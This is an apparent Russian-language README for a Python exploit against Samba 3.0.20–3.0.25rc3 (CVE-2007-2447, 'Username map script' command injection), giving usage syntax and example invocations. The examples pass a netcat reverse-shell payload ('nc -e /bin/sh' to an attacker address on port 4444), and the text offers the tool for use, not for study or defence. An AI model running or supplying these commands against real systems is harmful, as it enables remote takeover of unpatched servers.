
Python-реализация эксплойта RCE "'Username' map script'" для Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).
Реализация на Python RCE-эксплойта 'Username' map script' для Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).
python3 smbExploit.py <IP> <PORT> <PAYLOAD>
Примеры:
python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'
python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'
CVE-2007-2447: Уязвимость удаленного внедрения команд
Samba 3.0.20 < 3.0.25rc3 - Выполнение команд через 'Username map script' (Metasploit)